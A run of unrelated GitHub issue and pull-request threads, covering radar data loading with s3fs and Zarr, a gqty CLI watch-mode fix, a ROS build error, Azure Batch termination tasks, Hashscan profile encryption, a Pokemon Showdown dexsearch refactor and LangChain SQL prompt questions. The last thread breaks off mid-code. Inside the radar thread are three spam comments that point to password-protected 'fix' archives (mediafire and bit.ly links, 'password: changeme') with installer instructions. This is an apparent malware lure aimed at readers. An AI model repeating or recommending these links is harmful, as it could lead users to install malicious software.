Getting data in the binder

@openradar/erad2024-team ,
We need to download the data a-priori for the QPE exercise and we thought to do it through a script in the appendix.txt . Are you OK with that or do you have other suggestions?
We do not have a way to read data from s3 buckets directly yet in Pyrad.

@mgrover1 and I have created an analysis-ready version of the dataset, which is stored in the bucket. It can be read using xarray.open_datatree; you don't need to download any data. Do you think it will work for you @jfigui?
This is the code that you need to open the dataset:
from xarray.backends.api import open_datatree

URL = 'https://js2.jetstream-cloud.org:8001/'
path = f'pythia/radar/erad2024'
fs = s3fs.S3FileSystem(anon=True, client_kwargs=dict(endpoint_url=URL))
file = s3fs.S3Map(f"{path}/zarr_radar/erad_2024.zarr", s3=fs)
dt = open_datatree(file, engine='zarr', consolidated=True)

Then it will load a datatree (dt) with the c-band and x-band nodes, and each node contains all sweeps and all files concatenated along the volume_time dimension. We must have the xarray version v2014.07.01 to open this dataset. Please let me know if this works for you.

I don't think it works for us. We need access to the original files and we thought it would be good to have them available in advance so that we do not need to download lots of data on the fly.
The QPE exercise needs more data that more demonstrations

@jfigui - do you have a ftp server or google drive link to the data?

We need to process blocks of data stored locally at the moment. Is there a way to mount a drive in the image?

We can also restrict the size of our data by removing some unnecessary data. Possibly enough to put it in github

@mgrover1 Please correct me if I'm wrong. The bottleneck is the image size, which we should keep as small as possible. If deployed on the pythia binder hub, there is a larger storage per instance. Please add the data to the jetstream s3 bucket, where you can fetch it into the running notebook.
I'd strongly vote against putting large data (>tens of MB) into github or docker image.

@jfigui - the bucket storing the data is located on the same network as the jupyter/binder hub, can add a bash script if that works for you that pulls from the bucket, at the top of the notebook you are using for the exercise. I can assure you the transfer speeds will be quick
This will make the course more reproducible, with an opportunity to migrate this over to a more permanent space such as the radar cookbook. Where is the data currently located? Has it been used in previous repositories?

We should have all the original files we need for the exercise stored "locally" before Pyrad runs. If you think we can do that fast enough then that is fine.

we do not use xradar yet in Pyrad

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

OK, If it is on the order of 1 minute or so I think we can deal with it :)

I quickly looked back into my snippets and found out that past solutions I was using to read Zarr Store on cloud buckets does not work well with recent Zarr versions.
I found a new solution to open the Zarr store directly using fsspec and the get_mapper method, but the old fs.open approach (with all simple/block cache variants) does not work anymore. I get the error: Starting with Zarr 2.11.0, stores must be subclasses of BaseStore, if your store exposes the MutableMapping interface wrap it in Zarr.storage.KVStore.
Furthermore, opening the datatree is extremely slow (often hangs when I tried). Maybe @aladinor has something to add on this topic.
Here below I provide the code to reproduce the solutions and problems.
import s3fs
import zarr
import fsspec
import xarray as xr
from xarray.backends.api import open_datatree

URL =  "https://js2.jetstream-cloud.org:8001"
path = f"pythia/radar/erad2024"

#---------------------------------------------------------.
#### List bucket files
fs = fsspec.filesystem("s3", anon=True, client_kwargs=dict(endpoint_url=URL))
fs.glob(f"pythia/*")
fs.glob(f"{path}/*")
fs.glob(f"{path}/gpm_api/*")
fs.glob(f"{path}/gpm_api/2A.GPM.DPR.V9-20211125.20230820-S213941-E231213.053847.V07B.zarr/*")
fs.glob(f"{path}/gpm_api/KNKX20230820_221341_V06.zarr/*")

#---------------------------------------------------------.
#### Open with s3fs.S3FileSystem
fs = s3fs.S3FileSystem(anon=True, client_kwargs=dict(endpoint_url=URL))

# Dataset
file = s3fs.S3Map(f"{path}/gpm_api/2A.GPM.DPR.V9-20211125.20230820-S213941-E231213.053847.V07B.zarr", s3=fs)
ds = xr.open_zarr(file, consolidated=True)

# Datatree
file = s3fs.S3Map(f"{path}/gpm_api/KNKX20230820_221341_V06.zarr", s3=fs)
dt = open_datatree(file, engine='zarr', consolidated=True)

#-------------------------------------------------------------------------------------
#### Open with fsspec directly
fs = fsspec.filesystem("s3", anon=True, client_kwargs=dict(endpoint_url=URL))

# Dataset
file = fs.get_mapper(f"{path}/gpm_api/2A.GPM.DPR.V9-20211125.20230820-S213941-E231213.053847.V07B.zarr")
ds = xr.open_zarr(file, consolidated=True, chunks={})
ds["zFactorFinalNearSurface"] = ds["zFactorFinalNearSurface"].compute()

# Datatree [SUPERSLOW ... NEVER ENDING ...]
file = fs.get_mapper(f"{path}/gpm_api/KNKX20230820_221341_V06.zarr")
dt = open_datatree(file, engine="zarr", consolidated=True, chunks={})

#-------------------------------------------------------------------------------------
#### fs.open() does not work anymore !
# Error:
# Starting with Zarr 2.11.0, stores must be subclasses of BaseStore,
# if your store exposes the MutableMapping interface wrap it in Zarr.storage.KVStore

fs = fsspec.filesystem("s3", anon=True, client_kwargs=dict(endpoint_url=URL))

file = fs.open(f"{path}/gpm_api/2A.GPM.DPR.V9-20211125.20230820-S213941-E231213.053847.V07B.zarr")
ds = xr.open_zarr(file, consolidated=True, chunks={})

# Context manager
with fs.open(f"{path}/gpm_api/2A.GPM.DPR.V9-20211125.20230820-S213941-E231213.053847.V07B.zarr") as file:
    ds = xr.open_zarr(file, consolidated=True, chunks={})

with fs.open(f"{path}/gpm_api/KNKX20230820_221341_V06.zarr") as file:
    dt = open_datatree(file, engine="zarr", chunks={})

#-------------------------------------------------------------------------------------
#### Caching Blocks of Data (for re-access) (instead of full file download with simplecache)
import appdirs
from fsspec.implementations.cached import CachingFileSystem, SimpleCacheFileSystem
fs = fsspec.filesystem("s3", anon=True, client_kwargs=dict(endpoint_url=URL))
cache_expiry_times = 60*5
block_size = 2**20
cachedir = appdirs.user_cache_dir("ABI-simple-cache-numpy")
fs_block = CachingFileSystem(
    fs=fs,
    cache_storage=cachedir,
    expiry_time=cache_expiry_times,  # seconds
)

file = fs_block.open(f"{path}/gpm_api/2A.GPM.DPR.V9-20211125.20230820-S213941-E231213.053847.V07B.zarr", block_size=block_size)
ds = xr.open_zarr(file, consolidated=True, chunks={})
ds["zFactorFinalNearSurface"] = ds["zFactorFinalNearSurface"].compute()

#-------------------------------------------------------------------------------------

``

I have been working on xarray.datatree because I found out that it takes too long as here. I recently added a new PR to solve that issue here. @ghiggi what xarray version are you working with?

I recall to have seen such PR so I updated to xarray 2024.7.0. But now that I checks looks so strange: conda list say is 2024.7.0 ... import xarray as xr; xr.__version__ says is 2024.2.0.  Really strange. Time for a fresh environment :smile: ..

I'd suggest to fire up a binder instance and debug directly there.

Ah but your PR is not included in xarray 2024.7.0. We need to wait to get the new xarray release (one of the next days?) ...

I am not sure if there will be a new release soon... therefore I suggest to install it directly from the repo

Yes make sense ! I just tried out too and now it's muuuch faster opening the datatree. Good work !!!

We should add an install to that specific branch 👍


fix(package/cli): watch mode outside current working directory

Allows watch mode to watch outside of current working directory. Useful in monorepos.
This PR makes watch mode to watch recursively over a single file path that is the largest common file path prefix of file path endpoints and current working directory.

@lubosmato I made some cosmetic changes to make sure I can maintain it in the future, and intentionally skipping roots because it could be noisy.
We can merge if you think it's good.

@vicary I've tested it and found a case where watchTarget is undefined even when paths have common parts:
generate args:
# CWD /Users/.../code/gqty
 --watch --react --no-install "../project-dashboard/apps/api/**/*.graphql"

Debug print:
const fgPatterns = await fg(matchPatterns, { absolute: true });
console.log({ watchTarget, matchPatterns, fgPatterns, cwd: process.cwd() })

Output:
✔ Schema introspection completed.
ℹ Generating client and schema ...
✔ Code generation completed.
ℹ Watching for schema changes... (Ctrl+C to exit)
{
  watchTarget: undefined,
  matchPatterns: [ '/Users/.../code/project-dashboard/apps/api/**/*.graphql' ],
  fgPatterns: [
    '/Users/.../code/project-dashboard/apps/api/schema.graphql',
    '/Users/.../code/project-dashboard/apps/api/dir/aaaaaa.graphql'
  ],
  cwd: '/Users/.../code/gqty'
}
node:internal/process/promises:288
            triggerUncaughtException(err, true /* fromPromise */);
            ^

AssertionError [ERR_ASSERTION]: No common path for specified endpoints.
    at file:///Users/.../code/gqty/packages/cli/dist/commands/default.mjs:2:4579 {
  generatedMessage: false,
  code: 'ERR_ASSERTION',
  actual: undefined,
  expected: true,
  operator: '=='
}

@lubosmato Sorry it was a typo, tested again with a similar directory structure and it should be working now.
https://github.com/user-attachments/assets/894c4b38-d634-43b6-b2f5-23be127e5244

@vicary it works nicely, amazing work! thank you for helping with this fix/feature.

@lubosmato Thank you too for going through all the hassle!
I should really find a way to mock the file system and refactor into testable modules in the future.

It would help a lot with this feature 👍 . fs-mock supports fs.watch, might be useful for that.


Revert the enabling of hot-reloading

Revert commit 89844d6118d0519398643adaadf30e581f63ad42

@mkanoor or @syncrou - please review/merge


reflect api change in tinyxml and urdfdom in melodic

I do not have kinetic in hand, please check if this works with kinetic, too. If not, please reject this pull request, and use this branch when using melodic.

Does not compile on 16.04 and ROS Kinetic:
/catkin_ws/src/openrave_tools/or_urdf/src/catkin_finder.cpp: In function ‘std::__cxx11::string {anonymous}::getPackageNameFromXML(const string&)’:
/catkin_ws/src/openrave_tools/or_urdf/src/catkin_finder.cpp:30:74: error: ‘class tinyxml2::XMLDocument’ has no member named ‘ErrorStr’; did you mean ‘Error’?
     RAVELOG_WARN("Failed loading package.xml file '%s': %s\n",
                                                                          ^
                                                                          Error
openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/build.make:86: recipe for target 'openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/src/catkin_finder.cpp.o' failed
make[2]: *** [openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/src/catkin_finder.cpp.o] Error 1
make[2]: *** Waiting for unfinished jobs....
/home/dmcconac/Dropbox/catkin_ws/src/openrave_tools/or_urdf/src/urdf_loader.cpp: In member function ‘void or_urdf::URDFLoader::ParseURDF(urdf::Model&, std::vector<boost::shared_ptr<OpenRAVE::KinBody::LinkInfo> >&, std::vector<boost::shared_ptr<OpenRAVE::KinBody::JointInfo> >&)’:
/home/dmcconac/Dropbox/catkin_ws/src/openrave_tools/or_urdf/src/urdf_loader.cpp:260:39: error: conversion from ‘const boost::shared_ptr<urdf::Collision>’ to non-scalar type ‘const std::shared_ptr<urdf::Collision>’ requested
         BOOST_FOREACH (const std::shared_ptr<urdf::Collision> collision,
openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/build.make:62: recipe for target 'openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/src/urdf_loader.cpp.o' failed
make[2]: *** [openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/src/urdf_loader.cpp.o] Error 1
CMakeFiles/Makefile2:19247: recipe for target 'openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/all' failed
make[1]: *** [openrave_tools/or_urdf/CMakeFiles/or_urdf_plugin.dir/all] Error 2
Makefile:138: recipe for target 'all' failed
make: *** [all] Error 2

Sigh... as I expected. I will close this pull request.


How can I run a task on job termination once per job?

What I'd like to do is something like:
try {
 // run all regular tasks
} finally {
 // run a final termination task, once per job, not per node
 // the termination task shall run whether the job completed normally or was terminated early
}

In my case, the final termination task would query the Batch API and fetch the exit status of each regular task and determine the overall "success" of the job, and then write this into a database.
It seems that this is not directly possible currently. The options are:

Abuse the current job release tasks. Since these run per-node, the script that's executed would have to be engineered such that it is OK to run it multiple times.

Define the termination task as a regular task which depends on all other tasks. This would only work partly though. If the job is terminated early, then this final task would never run, which defeats the whole point.

Is there anything I'm not considering here? It seems like a fairly basic missing feature.

Your summary seems correct to me:  Batch does not organically support this scenario.  Your option #1 seems like the best place to start (ie: I agree with your assessment of #2).

Using JobManagementTaskSupport can solve this work.


Onboard basic RAG preset

Description
Adds a basic RAG preset to the library. Pre-populates:

ML search response processor with an LLM to generate results (defaults to many-to-one)
collapse response processor to only return unique ML responses (in many-to-one case, this will be one result)

More details:

onboards collapse search response processor
adds an llmResponse quick-config field, and default quick-config field values for the new RAG usecase
fixes bug of input transform fetching failing on search response processors when no prior search request or search response processors
refactors helper fns in QuickConfigureModal and makes them more generic

Notes:

future PRs will improve the prompt template editing experience. For now, it is entirely free-form.
future PRs will improve the checking of full_response_path when implementing transforms with JSON path. See tracking issue #368
future PRs will improve the many_to_one/one_to_one toggling experience. See tracking issue #367

Demo video, showing a RAG usecase using a deployed LLM model with some sample review documents. The model does not have an interface or configured prompt template, so both are manually filled in. The final result is a single response containing the LLM's summary of the documents found during search.
screen-capture (17).webm
Check List

[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

This is the last "building block" use case. After this is merged, we can explore common combinations - semantic search with RAG, hybrid search with semantic search and semantic analysis, hybrid search with plaintext search and semantic analysis, with RAG, etc.....


Ability to filter users with assignedPlans

A query filter for querying users according to their servicePlanId's on assignedPlans collection should be added.
For example a query for getting users with  4828c8ec-dc2e-4779-b502-87ac9ce28ab7 (Phone System) servicePlanId : https://developer.microsoft.com/en-us/graph/graph-explorer?request=users%3F%24select%3Did%2CdisplayName%2CassignedPlans&method=GET&version=beta&GraphUrl=https://graph.microsoft.com
AB#7812

Microsoft Q&A  is the best place to ask questions about features of Microsoft Graph https://docs.microsoft.com/en-us/answers/products/


Etherscan like User Profiles

Problem
Etherscan allows users to login to a user profile using their email and gives them access to a number of features such as the following.
Primary Features:

Watchlists - enables users to watch transfers to and from specified accounts; email notifications are sent out
Address Private Name Tags - A private name tag (up to 35 chars) and memo (up to 500 chars) for individual addresses can be saved and is useful for labelling addresses of interest.
Transaction Private Notes - A private transaction note (up to 100 characters) can be saved and is useful for transaction tracking.

Secondary Features:

Verified Addresses - allows for users to prove ownership of an account that created a contract/token/etc and subsequently modify off-chain contract/token metadata displayed on Etherscan.
Custom ABIs - allows users to add a custom ABI for an unverified smart contract to interact with it once logged-in to their Etherscan account.
Token Ignore List - Hide selected tokens from being displayed in the Address Token Summary, Token Holdings and Watch List pages.

Solution
For the team to investigate the feasibility of this ask and decide on the exact implementation details ;)
Alternatives
No response

@mohsin-hedera can you please review the priority on this issue? Thanks!

Very much of interest and would like to pick this up once we have the SC Verification work in place

I suggest to leverage local storage for all the preferences. This is also useful for features like Labels (#565) and can be expanded in the future with export/import/sharing capabilities to let the community create public/private/shared lists of preferences.

Hey @Neurone
I recently came across https://routescan.io and noticed that their user profiles share some similarities with the solution you described in our call, particularly in terms of data export and import functionality. However, I have concerns about Routescan's current implementation that I believe could be improved upon:

Centralized Data Storage: It appears that the profile data is stored on a centralized backend. I believe Hashscan users should have the option to persist their profile on any widely recognized decentralized storage solutions, and should not be limited to Hedera (e.g., IPFS, Filecoin).

Privacy: I am uncertain about the privacy level of Routescan's Private notes, as there are no requests to decrypt a user profile after connecting and signing in with MetaMask. I think this could be relatively easily implemented by encrypting the user profile with the user's public key (retrievable via eth_getEncryptionPublicKey from MetaMask and possibly other wallets that support it) and decrypting it with the private key (via eth_decrypt from MetaMask). For efficiency, you would probably want to encrypt profile data with a symmetric key, then encrypt that symmetric key with the user's public key and persist both on the storage provider of choice. This symmetric key could reside in the browser's session/local storage for quick access during the same session/browser to avoid having to continuously request the wallet(and user) to eth_decrypt on every login.

I'm still very curious about how #760 will be implemented, if at all.

Hi @mshakeg , we are still defining all the details, almost there, but these are the summary of my suggestions I consider a must defining standards for what we do and how we do it.
In particular, about labels, tags, notes, etc.:

Define an open and extensible standard to define user preferences so everyone can use it (web apps, CLIs, etc.)
Define an extension for the MNE dealing with labels, tags, notes, etc.
Using that standard, the MNE stores/manages preferences by default in web browser storage, and it can export/import (FileSystem and IPFS)
MNE encrypts preferences by default with password encryption (AES via KDF)
Privacy is paramount: no connection or references to any wallet or existing Hedera key. In addition, using the private key as a login method is a bad common practice. Users should sign TX only when they want to send a TX; using it to sign a custom payload is very risky.

About the community notes feature, we can leverage the above standard format and add the following:

Define an open and extensible standard to collaborate (share, discover, retrieve, vote, manage votes) on preferences so everyone can use it (web apps, CLIs, etc.)
Define an extension for the MNE dealing with labels, tags, notes, etc.
Using that standard, the MNE stores, discovers, and reads preferences by default via HCS (metadata and small payloads) and IPFS
Users can either keep preferences encrypted while sharing with the above standard or make them plain and visible
As mentioned above, encryption keys are not related to the keys used to share the content via Hedera (i.e. paying for Hedera txs)

What do you think?

Hi @Neurone
I'm in agreement with the first three points regarding establishing an open extensible standard and the approach to storage and export/import functionalities.
However, I have some thoughts on points 4 and 5:

Encryption with AES via KDF: While I understand the intention behind using a dedicated MNE password for encryption, considering the explorer already supports wallet connections, we might explore streamlining this process using the connected wallet to simplify user interaction by avoiding additional passwords.

Privacy and Wallet Connections: I appreciate the emphasis on privacy and the caution against misusing private keys. However, leveraging wallet connections for encryption—without requiring transaction signing—presents a user-friendly way to enhance security. IMO methods like eth_getEncryptionPublicKey for encryption and eth_decrypt for decryption can securely manage user data, aligning with our privacy goals without the downsides of additional password management or unnecessary transaction signing(though I don't really see much of an issue with signing an EIP-712 structured human readable message).

Regarding the community notes, I think those are excellent ideas. However, my current understanding of HCS capabilities and what the mirror node indexes and exposes leaves me uncertain about the feasibility of implementing features like sharing, discovering, retrieving, voting, and managing votes at scale. Additionally, a reputation system akin to that of Stack Exchange might be beneficial for encouraging positive community moderation and contribution.

Thanks for the feedback, I really appreciate it.
I agree the UX should be easy, but it is up to the wallet providers to make it real, and they can implement encryption more easily via AES than EC keys.
The fundamental topic in favor of AES via KDF is that it does not exclude the creation of other solutions on top of that. If we go with the Ethereum encryption, we force the usage of something not meant for that purpose; all the tools out there are ready for signing tx and verifying signatures, not encrypting payloads.
With symmetric encryption, you get a base secure layer that is fast and easy to implement, and on top of that, anyone can build their preferred secure store (i.e., a browser wallet, a secure vault, etc.).
Once clients or wallets support the standard under the hood, creating the desired UI/UX for their audience is just a matter of a few more lines of code.
Encryption with symmetric keys unrelated to your private Hedera keys is the best approach for me, also because of these issues:

Encryption via EC keys is non-trivial, can be tricky and usually not reccomended
The MetaMask JSON-RPC API specs introduced the methods eth_getEncryptionPublicKey and eth_decrypt but they are deprecated, and they are not part of the standard Ethereum JSON-RPC APIs. Other proposals attempting to replace DRAFT-EIP-1024 after its closure like ERC-5630 never took off and they are stagnant, so my bet is that is something we will not see soon broadly adopted.
The wallet - meaning a secure keystore of secrets that can sign payloads - is a more complex piece of software than simple encryption. Even when using the browser, you need a dedicated extension for the wallet  - ok, I use Brave, but the point is that it is an external and complex component. Dealing with wallets via CLIs or backends is far more complex than dealing with passwords.
Using private keys limits the shareability of the data. If I want to share that encrypted info with a set of players, I must disclose what I usually consider and use as a private key. Once the private key is disclosed, that private key can be used to sign transactions, not only to encrypt payloads. So, the best practice would be to use a new dedicated key for each encryption operation, and I can bet everything the users will not do unless it's done transparently by the wallet. And if it's done transparently by the wallet, it's easier for the wallet to use a dedicated password/key.
Because encryption/decryption via EC keys is not common, almost all HW wallets support only signing payloads, not encryption/decryption, and I hardly see a change there.
About EIP-712 - I also have opinions about it, but let's put them aside for this discussion ^^ - but the point is that it is a standard for singing payload, not dedicated to encryption, so we cannot leverage it. And again, it is also very Ethereum-centric and not easily extensible.

About community notes, the draft idea is to use HCS for operations and metadata (because it's limited to 1 Kb of data), linking IPFS CIDs for the actual payloads.
We use the same technique, for example, for the Guardian's trust chain or the CRUD operations on the Hedera DID v1. We can do something similar for other use cases, like the community notes.

@Neurone thank you for your detailed response. I'd like to clarify a few aspects of my proposal to ensure we're on the same page:

Regarding EIP-712: My mention of EIP-712 was intended to highlight its utility in creating human-readable messages for signing, not as a method for encrypting user data or as a core part of the user interaction for the Hedera explorer. I was just pointing out that I don't see any issue with Routescan's request to sign an EIP-712 message to authenticate an EOA with their backend service. Also, many dApps(especially in DeFi) do something similar by requesting a user to sign a message declaring that they accept the terms of service, etc.

Encryption Strategy for User Profile Data: My proposal as outlined in the latter part of point 2 of this message seeks to leverage a two-step encryption process somewhat similar to the hybrid encryption scheme described in ECC Encryption / Decryption(which seems like a more robust way of going about it). The intent is to use the connected wallet's public key encrypt a symmetric key, and not to encrypt user profile data directly with the wallet's public key. However, I am also open to the idea of having an alternative option for a MNE password as a fallback(e.g. their preferred wallet does not support methods for encryption/decryption or at least does not support methods compatible with the MNE).

I think it's worthwhile developing alternative standards to EIP-1024 and ERC-5630 compatible with Ed25519 accounts for Hedera wallets to adopt.


Typo

i before e except after c... and a few other weird edge cases. Thanks!

English is weird :) Happy to help, love the site!


Refactor /ds to compile learnsets from prevos and certain baseSpecies

This PR fixes this issue from the Bug Reports topic and employs @TheImmortal's suggested approach from #1877.
(Someone should attest that the refactor's execution speed is acceptable.)

This effectively reverts https://github.com/Zarel/Pokemon-Showdown/commit/6f504d7c4fd84292b7064923df15b64d87056448
I don't think this is what TI referred to. Just adding a bit more of the checkLearnset logic could be enough.
(I'll try to run benchmarks, but I may not be able to do it fast enough)
Tagging @Zarel.

What if I undo my changes and add to the while block in the compileLearnsets case, like so:
while (template.baseSpecies !== template.species || template.prevo) {
	if (template.baseSpecies !== template.species) {
		template = Tools.getTemplate(template.baseSpecies)
	} else {
		template = Tools.getTemplate(template.prevo)
	}
	for (var move in template.learnset) {
		if (!fullLearnset[move]) fullLearnset[move] = template.learnset[move];
	}
}

TeamValidator.checkLearnsetSync is much slower (more than 5 times) in comparison to a simple check if the move exists within the Pokemon's learnset. Further, this isn't fully utilizing the full power of TeamValidator.checkLearnsetSync by ignoring the format parameter, which it could potentially be using with either tier or gen parameter information.

How's this, then?

Looks better but if we add the loop here, we should remove it from checkLearnsets and checkLearnsetsSync, right?

also ick RAM usage

I'm not sure I follow. This pull request no longer uses checkLearnset or checkLearnsetSync since they gobble up RAM, just as before.

@Zarel I'm sorry but this is starting to seem futile.
This pull request, if it were to be merged, would fix an issue with dexsearch but the command would still be inaccurate. /ds bodyslam, celebrate's output would (and currently does) include Pikachu and Raichu even though they can't have both moves concurrently. A more complex algorithm would then be needed to fix that issue, but we'd be moving closer to reverting 6f504d7, or trading speed for accuracy, which is unacceptable.
I'm thinking dexsearch's functionality should be left in tact.

We could run checkLearnsetSync on only on the pokemon still available after running it through the fast learnset searcher.

And only on the 10 Pokémon that would be displayed. We could then change the message to and *about* X more.

Slayer's suggestion is great, but I'm concerned with what happens when it's used with the all parameter. At that point would it not have possible searches where it would have to run checkLearnsetSync on all the pokemon after it's already tried to filter them out once? Of course we could just have it use checkLearnsetSync whenever there are X pokemon or less to try to avoid this, but no matter how much tolerance we give there will be cases of inconsistent search results.
Another thing worth noting is sets don't need to be validated if there is only one search parameter. We could make the assumption at that point that the most Pokemon it would have to validate is somewhere around 100 (for searches that are actually trying to find anything meaningful; dumb searches like /ds protect, toxic, all could still return almost all Pokemon).

Since all isn't broadcast anyway, we could run it client-side

Could we suggest the user to narrow their search or possibly even do away with the all parameter for moves?
As an example, /ds nastyplot, nightmare could return:
Meowth, Persian, Drowzee, Hypno, Mew, Aipom, Slowking, Girafarig, Houndour, Houndoom, and
about 14 more. Redo the search with 'all' as a parameter to show all results or add more
parameters for more refined results.

We shouldn't run it client-side. I've actually been thinking about moving more of /data server-side, so the client doesn't need to load as much data.

Verifying learnsets now has its own case.

I still think moving compileLearnsets outside of chat plugins is the highest priority here.

Seems unsettling, but it's done: compileLearnsets is out of chat-plugins.

You're right, I forgot about that pullreq.

I wasn't implementing it correctly. Your solution is better so I was going to close it when this is accepted.

How is progress on this?

We should probably merge this.

@gamut-was-taken can you fix the merge conflicts?

I can fix them manually if not. I'll need to review it in depth either way.

I took a quick look at what the merge conflicts were, they should be pretty simple for him to fix. Mostly seems to be indentation changes as a result of another commit, plus one line from the /randpoke PR that is trivial to fix.

Done; well I hope.

How about making it possible to dexsearch by egg group

There's still merge conflicts. Have you tried rebasing yet?

He did rebase, I've just been putting off merging because I still haven't fully worked through the consequences. When I do, I can fix merge conflicts manually, anyway.

At least this doesn't seem to introduce outstanding illegalities, as per #2057

I've gone and updated the code (view working diff) on my machine and came up with this: if a move exists in a Pokemon's learnset as an egg move, we can skip validating it. That'll greatly boost performance at the cost of accuracy.
The table below highlights the output and performance of /ds as it is on master and both scenarios in milliseconds (neither scenario has a limit on calls to checkLearnsetSync).

as-is(results)
w/ checkLearnset + excluding egg moves(results)
w/ checkLearnset  + including egg moves(results)

/ds bodyslam, celebrate
76.5
83.9
77.6xx

/ds nastyplot, nightmare
77.0
73.6
401.0x

/ds block, amnesia
76.7
74.9
483.9x

/ds headbutt, charm
78.0
82.4
1575.2

Does the working diff seem good or should I just rebase and update based on what the code's looked like so far?

After further reflection, I'm not sure compiling learnsets really offers all that much performance benefit.
On the other hand, using ES6 Maps/Sets might help.

I'm fine with checkLearnsets, obviously excluding egg moves.

Although in gen 6, including egg moves should have minimal performance impact... why is the difference so big?

 The more Pokemon in the search, the larger the difference. (I think my computer is overstating the difference though.)

I think it's because we check past gen eggs in case there's a past-gen-only move in the learnset.
Have you tried hacking it to only check present-gen eggs? Or to check all eggs like present-gen eggs?

Just a bit. If I pass format: {requirePentagon: true} within lsetData then that minimizes checkLearnset's performance impact; otherwise it's the same as I've reported.
I'll update this PR late tonight if all's well.

We don't want to require pentagons, though...

Specifically, maybe we can pass something like fastCheck which is treated similarly to requirePentagon but still checks past gens.

Sorry should've said more. I was thinking that we'd only pass requirePentagon for searches that include egg move and skip validating when egg moves are searched along with moves that can only be acquired from past gens. I believe /ds' performance is fine in other cases anyway.

Yes, but the fastCheck approach seems better. The idea is to quickly check past gens without checking chainbreeding

So like this, roughly?

Nearly exactly like that, except I would make it a flag of lsetData instead of yet another argument.

Updated, except for the title.


DOC: SQL Chain Example - Customise Prompt

Issue with current documentation:
https://python.langchain.com/en/latest/modules/chains/examples/sqlite.html#customize-prompt
When looking at the Cutomize prompt example, the subsequent db_chain.run() command is just like the pre-prompt chain.
It is currently like:
db_chain.run("How many employees are there in the foobar table?")
Shouldn't it be something like:
db_chain.run({'input': "How many employees are there in the foobar table?", 'table':'foobar', 'dialect':'testing'})
Since we added the prompt to the db_chain
Idea or request for content:
No response

SQLDatabaseChain figure those parameters out for you, thats why they are not expected to be provided.
If you want to directly provide these arguments to the LLMs via the prompt. You would do something like this:
from langchain.prompts.prompt import PromptTemplate
from langchain.chains import LLMChain

_DEFAULT_TEMPLATE = """Given an input question, first create a syntactically correct {dialect} query to run, then look at the results of the query and return the answer.
Use the following format:

Question: "Question here"
SQLQuery: "SQL Query to run"
SQLResult: "Result of the SQLQuery"
Answer: "Final answer here"

Only use the following tables:

{table_info}

If someone asks for the table foobar, they really mean the employee table.

Question: {input}"""

PROMPT = PromptTemplate(
    input_variables=["input", "table_info", "dialect"], template=_DEFAULT_TEMPLATE
)

db = SQLDatabase.from_uri("sqlite:///movie.db")
chain = LLMChain(llm= openai_llm, prompt=PROMPT)
chain.run(dict(input="Who is the oldest employee?", table_info=db.get_table_info(), dialect=db.dialect))

You can add variables but you need to provide them alongside other inputs to the chain. You get the missing input keys errors if you don't provide variables defined in the template.
In case you are still facing issue, please share the code snippet.

I

You can add variables but you need to provide them alongside other inputs to the chain. You get the missing input keys errors if you don't provide variables defined in the template.
In case you are still facing issue, please share the code snippet.

I am trying to give additional context to the prompt template by adding chat history from Discord. But I am getting the ValueError( missing input keys: {'chat_history'} even if I declared the chat_history already.

Respond to the following conversation in the most helpful way possible.
Given an input question, first create a syntactically correct {dialect} query to run, then look at the results of the query and return the answer.
Use the following format:
        Chat History: '{chat_history}'
        Question: "Question here"
        SQLQuery: "SQL Query to run"
        SQLResult: "Result of the SQLQuery"
        Answer: "Final answer here"

    Only use the following tables:

    {table_info}

    Use the table employee with id as primary key to get the list of employees.
    Use the table attendance with id as the primary key to get the attendance.
    Use the table position with id as the primary key to get the position.

    Question: {input}
    """

    PROMPT = PromptTemplate(
        input_variables=['dialect', 'input',  'table_info', 'chat_history'], template=_DEFAULT_TEMPLATE, validate_template=False

     db_chain = SQLDatabaseChain.from_llm(llm=llm, db = sql_database, prompt=PROMPT,  verbose=True, top_k=10)
    )`

Are you passing the chat_history variable in chain.run ?

Are you passing the chat_history variable in chain.run ?

Yep :
db_chain = SQLDatabaseChain.from_llm(llm=llm, db = sql_database, prompt=PROMPT,  verbose=True, top_k=10) response = db_chain.run(chat_history)

I also tried:
db_chain = SQLDatabaseChain.from_llm(llm=llm, db = sql_database, prompt=PROMPT,  verbose=True, top_k=10) response = db_chain(message.content, chat_history)

SQLDatabaseChain figure those parameters out for you, thats why they are not expected to be provided.
If you want to directly provide these arguments to the LLMs via the prompt. You would do something like this:
from langchain.prompts.prompt import PromptTemplate
from langchain.chains import LLMChain

_DEFAULT_TEMPLATE = """Given an input question, first create a syntactically correct {dialect} query to run, then look at the results of the query and return the answer.
Use the following format:

Question: "Question here"
SQLQuery: "SQL Query to run"
SQLResult: "Result of the SQLQuery"
Answer: "Final answer here"

Only use the following tables:

{table_info}

If someone asks for the table foobar, they really mean the employee table.

Question: {input}"""

PROMPT = PromptTemplate(
    input_variables=["input", "table_info", "dialect"], template=_DEFAULT_TEMPLATE
)

db = SQLDatabase.from_uri("sqlite:///movie.db")
chain = LLMChain(llm= openai_llm, prompt=PROMPT)
chain.run(dict(input="Who is the oldest employee?", table_info=db.get_table_info(), dialect=db.dialect))

How to implement Conversation buffer memory to this

This example shows how to add ConvesationBuffer to LLMChains https://python.langchain.com/en/latest/modules/memory/types/buffer.html

I also tried: db_chain = SQLDatabaseChain.from_llm(llm=llm, db = sql_database, prompt=PROMPT, verbose=True, top_k=10) response = db_chain(message.content, chat_history)

Is the issue fixed as I am also facing similar issue.

i am also unable to retain chat history in case of SQLDatabaseChain i get error missing parameter when ever i try to run chain with 2 parameters query, chat_history instead of 1

I have the similar question on how to implement chat hisotry in SQLDatabaseChain.from_llm. Thanks!

is there any updated information?

Noticed in the sql database base.py, there is no history defined there. Could we add in the history for SQL Database?
def _call(
    self,
    inputs: Dict[str, Any],
    run_manager: Optional[CallbackManagerForChainRun] = None,
